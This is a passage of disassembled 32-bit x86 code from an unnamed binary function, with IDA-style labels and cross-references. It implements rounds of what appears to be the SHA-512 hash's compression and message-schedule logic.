		mov	[eax+9Ch], edx
		mov	eax, edx
		mov	[esp+170h+var_F0], ecx
		mov	[esp+170h+var_EC], eax
		mov	[esp+170h+var_78], ecx
		jmp	short loc_406AB6
; ---------------------------------------------------------------------------

loc_406AA1:				; CODE XREF: sub_405390+1626j
		mov	edx, [esp+170h+var_F0]
		mov	eax, [esp+170h+var_EC]
		mov	[esp+170h+var_78], edx

loc_406AB6:				; CODE XREF: sub_405390+170Fj
		mov	ecx, [esp+170h+var_13C]
		mov	ebx, ecx
		mov	[esp+170h+var_74], eax
		mov	eax, [esp+170h+var_140]
		mov	edx, ecx
		xor	esi, esi
		shr	edx, 9
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		or	edx, edi
		xor	ebx, ebx
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_13C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		xor	edi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_13C]
		mov	ebx, ecx
		and	ecx, [esp+170h+var_134]
		mov	edi, eax
		and	eax, [esp+170h+var_138]
		not	ebx
		and	ebx, [esp+170h+var_12C]
		not	edi
		and	edi, [esp+170h+var_130]
		xor	ebx, ecx
		mov	ecx, [esp+170h+var_124]
		xor	edi, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420688[eax*8]
		adc	esi, ds:dword_42068C[eax*8]
		add	edx, [esp+170h+var_78]
		mov	eax, [esp+170h+var_128]
		adc	esi, [esp+170h+var_74]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_148], eax
		mov	[esp+170h+var_124], ecx
		mov	[esp+170h+var_128], eax
		adc	[esp+170h+var_144], ecx
		mov	eax, [esp+170h+var_11C]
		mov	ecx, [esp+170h+var_120]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_120]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_154]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_158]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_120]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_150]
		and	edx, ecx
		mov	ecx, [esp+170h+var_154]
		xor	ebp, eax
		and	ebp, [esp+170h+var_14C]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_128], edi
		adc	[esp+170h+var_124], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_406CE9
		mov	eax, [esp+170h+var_C8]
		mov	ecx, [esp+170h+var_C4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_C4]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_F8]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_F4]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_F8]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_F4]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_B8]
		adc	edx, [esp+170h+var_B4]
		add	ecx, [esp+170h+var_E8]
		adc	edx, [esp+170h+var_E4]
		mov	[eax+0A0h], ecx
		mov	[eax+0A4h], edx
		mov	eax, edx
		mov	[esp+170h+var_E8], ecx
		mov	[esp+170h+var_E4], eax
		mov	[esp+170h+var_68], ecx
		jmp	short loc_406CFE
; ---------------------------------------------------------------------------

loc_406CE9:				; CODE XREF: sub_405390+1868j
		mov	edx, [esp+170h+var_E8]
		mov	eax, [esp+170h+var_E4]
		mov	[esp+170h+var_68], edx

loc_406CFE:				; CODE XREF: sub_405390+1957j
		mov	ecx, [esp+170h+var_144]
		mov	ebx, ecx
		mov	[esp+170h+var_64], eax
		mov	eax, [esp+170h+var_148]
		mov	edx, ecx
		xor	esi, esi
		shr	edx, 9
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		or	edx, edi
		xor	ebx, ebx
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_144]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		xor	edi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_144]
		mov	ebx, ecx
		and	ecx, [esp+170h+var_13C]
		mov	edi, eax
		and	eax, [esp+170h+var_140]
		not	ebx
		and	ebx, [esp+170h+var_134]
		not	edi
		and	edi, [esp+170h+var_138]
		xor	ebx, ecx
		mov	ecx, [esp+170h+var_12C]
		xor	edi, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420690[eax*8]
		adc	esi, ds:dword_420694[eax*8]
		add	edx, [esp+170h+var_68]
		mov	eax, [esp+170h+var_130]
		adc	esi, [esp+170h+var_64]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_150], eax
		mov	[esp+170h+var_12C], ecx
		mov	[esp+170h+var_130], eax
		adc	[esp+170h+var_14C], ecx
		mov	eax, [esp+170h+var_124]
		mov	ecx, [esp+170h+var_128]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_128]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_11C]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_120]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_128]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_158]
		and	edx, ecx
		mov	ecx, [esp+170h+var_11C]
		xor	ebp, eax
		and	ebp, [esp+170h+var_154]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_130], edi
		adc	[esp+170h+var_12C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_406F31
		mov	eax, [esp+170h+var_B0]
		mov	ecx, [esp+170h+var_AC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_AC]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_F0]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_EC]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_F0]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_EC]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_A8]
		adc	edx, [esp+170h+var_A4]
		add	ecx, [esp+170h+var_F8]
		adc	edx, [esp+170h+var_F4]
		mov	[eax+0A8h], ecx
		mov	[eax+0ACh], edx
		mov	eax, edx
		mov	[esp+170h+var_F8], ecx
		mov	[esp+170h+var_F4], eax
		mov	[esp+170h+var_50], ecx
		jmp	short loc_406F40
; ---------------------------------------------------------------------------

loc_406F31:				; CODE XREF: sub_405390+1AB0j
		mov	edx, [esp+170h+var_F8]
		mov	eax, [esp+170h+var_F4]
		mov	[esp+170h+var_50], edx

loc_406F40:				; CODE XREF: sub_405390+1B9Fj
		mov	ecx, [esp+170h+var_14C]
		mov	ebx, ecx
		mov	[esp+170h+var_4C], eax
		mov	eax, [esp+170h+var_150]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_14C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_148]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_14C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_144]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_134]
		not	ebx
		and	ebx, [esp+170h+var_13C]
		not	edi
		and	edi, [esp+170h+var_140]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420698[eax*8]
		adc	esi, ds:dword_42069C[eax*8]
		add	edx, [esp+170h+var_50]
		mov	eax, [esp+170h+var_138]
		adc	esi, [esp+170h+var_4C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_158], eax
		mov	[esp+170h+var_134], ecx
		mov	[esp+170h+var_138], eax
		adc	[esp+170h+var_154], ecx
		mov	ecx, [esp+170h+var_130]
		mov	eax, [esp+170h+var_12C]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	edi, edi
		or	edi, edx
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shr	edx, 2
		shl	ecx, 1Eh
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ebx, [esp+170h+var_130]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_124]
		shl	ebx, 19h
		xor	esi, edx
		mov	edx, [esp+170h+var_128]
		mov	ecx, eax
		shr	ecx, 7
		or	ecx, ebx
		xor	edi, ecx
		mov	ecx, [esp+170h+var_130]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_120]
		and	edx, ecx
		mov	ecx, [esp+170h+var_124]
		xor	ebp, eax
		and	ebp, [esp+170h+var_11C]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_138], edi
		adc	[esp+170h+var_134], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_407183
		mov	eax, [esp+170h+var_C0]
		mov	ecx, [esp+170h+var_BC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_BC]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_E8]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_E4]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_E8]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_E4]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_D0]
		adc	edx, [esp+170h+var_CC]
		add	ecx, [esp+170h+var_B0]
		adc	edx, [esp+170h+var_AC]
		mov	[eax+0B0h], ecx
		mov	[eax+0B4h], edx
		mov	eax, edx
		mov	[esp+170h+var_B0], ecx
		mov	[esp+170h+var_AC], eax
		mov	[esp+170h+var_40], ecx
		jmp	short loc_407198
; ---------------------------------------------------------------------------

loc_407183:				; CODE XREF: sub_405390+1CF6j
		mov	edx, [esp+170h+var_B0]
		mov	eax, [esp+170h+var_AC]
		mov	[esp+170h+var_40], edx

loc_407198:				; CODE XREF: sub_405390+1DF1j
		mov	ecx, [esp+170h+var_154]
		mov	[esp+170h+var_3C], eax
		mov	eax, [esp+170h+var_158]
		mov	ebx, ecx
		xor	esi, esi
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		mov	edx, ecx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		xor	ebx, ebx
		or	ebx, ebp
		mov	ebp, [esp+170h+var_154]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		mov	ecx, eax
		shl	ecx, 12h
		shr	ebp, 0Eh
		or	ecx, ebp
		mov	ebp, [esp+170h+var_150]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_154]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_14C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_13C]
		not	edi
		and	edi, [esp+170h+var_148]
		not	ebx
		and	ebx, [esp+170h+var_144]
		xor	edi, ebp
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_4206A0[eax*8]
		mov	edi, [esp+170h+var_12C]
		adc	esi, ds:dword_4206A4[eax*8]
		add	edx, [esp+170h+var_40]
		mov	eax, [esp+170h+var_140]
		adc	esi, [esp+170h+var_3C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_120], eax
		mov	esi, [esp+170h+var_130]
		mov	[esp+170h+var_140], eax
		adc	[esp+170h+var_11C], ecx
		mov	[esp+170h+var_13C], ecx
		mov	ecx, [esp+170h+var_138]
		mov	eax, esi
		xor	eax, ecx
		mov	[esp+170h+var_98], eax
		mov	eax, [esp+170h+var_134]
		mov	edx, edi
		xor	edx, eax
		mov	[esp+170h+var_94], edx
		mov	edx, esi
		and	edx, ecx
		mov	[esp+170h+var_90], edx
		mov	edx, edi
		and	edx, eax
		mov	[esp+170h+var_8C], edx
		mov	edx, ecx
		xor	esi, esi
		shl	edx, 4
		mov	edi, ecx
		mov	ebx, eax
		shrd	edi, ebx, 1Ch
		shr	ebx, 1Ch
		or	edx, ebx
		or	esi, edi
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	ebx, ebx
		shl	ecx, 1Eh
		or	ebx, ebp
		mov	edi, eax
		xor	edx, ebx
		mov	ebx, [esp+170h+var_138]
		shr	edi, 2
		or	edi, ecx
		mov	ecx, eax
		shld	eax, ebx, 19h
		xor	esi, edi
		shr	ecx, 7
		xor	edi, edi
		or	edi, eax
		mov	eax, [esp+170h+var_98]
		and	eax, [esp+170h+var_128]
		shl	ebx, 19h
		xor	eax, [esp+170h+var_90]
		or	ecx, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_94]
		and	ecx, [esp+170h+var_124]
		xor	edx, edi
		xor	ecx, [esp+170h+var_8C]
		add	esi, eax
		adc	edx, ecx
		add	[esp+170h+var_140], esi
		adc	[esp+170h+var_13C], edx
		cmp	[esp+170h+var_15C], 0
		jz	loc_4073FF
		mov	eax, [esp+170h+var_A0]
		mov	ecx, [esp+170h+var_9C]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_9C]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_F8]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_F4]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_F8]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_F4]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_D8]
		adc	edx, [esp+170h+var_D4]
		add	ecx, [esp+170h+var_C0]
		adc	edx, [esp+170h+var_BC]
		mov	[eax+0B8h], ecx
		mov	[eax+0BCh], edx
		mov	eax, edx
		mov	[esp+170h+var_C0], ecx
		mov	[esp+170h+var_BC], eax
		mov	[esp+170h+var_30], ecx
		jmp	short loc_407414
; ---------------------------------------------------------------------------

loc_4073FF:				; CODE XREF: sub_405390+1F7Ej
		mov	edx, [esp+170h+var_C0]
		mov	eax, [esp+170h+var_BC]
		mov	[esp+170h+var_30], edx

loc_407414:				; CODE XREF: sub_405390+206Dj
		mov	ecx, [esp+170h+var_11C]
		mov	ebx, ecx
		mov	[esp+170h+var_2C], eax
		mov	eax, [esp+170h+var_120]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_11C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		shr	ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_158]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_11C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_154]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_148]
		not	ebx
		and	ebx, [esp+170h+var_14C]
		not	edi
		and	edi, [esp+170h+var_150]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_4206A8[eax*8]
		adc	esi, ds:dword_4206AC[eax*8]
		add	edx, [esp+170h+var_30]
		mov	eax, [esp+170h+var_128]
		adc	esi, [esp+170h+var_2C]
		add	ecx, edx
		mov	edx, [esp+170h+var_144]
		adc	edx, esi
		add	eax, ecx
		adc	[esp+170h+var_124], edx
		mov	[esp+170h+var_148], ecx
		mov	ecx, [esp+170h+var_140]
		mov	[esp+170h+var_144], edx
		mov	edx, [esp+170h+var_13C]
		mov	ebx, ecx
		mov	ebp, edx
		shrd	ebx, ebp, 1Ch
		xor	edi, edi
		or	edi, ebx
		mov	esi, ecx
		mov	ebx, edx
		shld	edx, ecx, 1Eh
		shr	ebp, 1Ch
		shl	esi, 4
		or	esi, ebp
		shr	ebx, 2
		shl	ecx, 1Eh
		xor	ebp, ebp
		or	ebx, ecx
		mov	[esp+170h+var_128], eax
		or	ebp, edx
		mov	ecx, [esp+170h+var_13C]
		xor	esi, ebp
		mov	ebp, [esp+170h+var_140]
		mov	edx, ecx
		shld	ecx, ebp, 19h
		xor	edi, ebx
		shr	edx, 7
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_98]
		and	ecx, [esp+170h+var_140]
		shl	ebp, 19h
		xor	ecx, [esp+170h+var_90]
		or	edx, ebp
		xor	edi, edx
		mov	edx, [esp+170h+var_94]
		and	edx, [esp+170h+var_13C]
		xor	esi, ebx
		xor	edx, [esp+170h+var_8C]
		add	edi, ecx
		adc	esi, edx
		add	[esp+170h+var_148], edi
		adc	[esp+170h+var_144], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_407660
		mov	eax, [esp+170h+var_B0]
		mov	ecx, [esp+170h+var_AC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_AC]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_E0]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_DC]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_E0]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_DC]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_118]
		adc	edx, [esp+170h+var_114]
		add	ecx, [esp+170h+var_A0]
		adc	edx, [esp+170h+var_9C]
		mov	[eax+0C0h], ecx
		mov	[eax+0C4h], edx
		mov	eax, edx
		mov	[esp+170h+var_9C], eax
		mov	[esp+170h+var_1C], eax
		mov	eax, [esp+170h+var_128]
		mov	[esp+170h+var_A0], ecx
		mov	[esp+170h+var_20], ecx
		jmp	short loc_40767C
; ---------------------------------------------------------------------------

loc_407660:				; CODE XREF: sub_405390+21CEj
		mov	edx, [esp+170h+var_A0]
		mov	ecx, [esp+170h+var_9C]
		mov	[esp+170h+var_20], edx
		mov	[esp+170h+var_1C], ecx

loc_40767C:				; CODE XREF: sub_405390+22CEj
		mov	ecx, [esp+170h+var_124]
		mov	ebx, ecx
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_124]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_120]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_124]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_11C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_14C]
		not	ebx
		and	ebx, [esp+170h+var_154]
		not	edi
		and	edi, [esp+170h+var_158]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_4206B0[eax*8]
		adc	esi, ds:dword_4206B4[eax*8]
		add	edx, [esp+170h+var_20]
		mov	eax, [esp+170h+var_150]
		adc	esi, [esp+170h+var_1C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_130], eax
		mov	[esp+170h+var_14C], ecx
		mov	[esp+170h+var_150], eax
		adc	[esp+170h+var_12C], ecx
		mov	eax, [esp+170h+var_144]
		mov	ecx, [esp+170h+var_148]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_148]
		mov	ebp, eax
		shld	ebp, ebx, 19h
		xor	edx, edx
		or	edx, ebp
		mov	ebp, [esp+170h+var_13C]
		xor	ebp, [esp+170h+var_134]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_140]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_138]
		and	ebp, eax
		mov	eax, [esp+170h+var_13C]
		and	eax, [esp+170h+var_134]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_148]
		and	edx, ecx
		xor	ebx, edx
		xor	ebp, eax
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_150], edi
		adc	[esp+170h+var_14C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_4078AA
		mov	eax, [esp+170h+var_C0]
		mov	ecx, [esp+170h+var_BC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
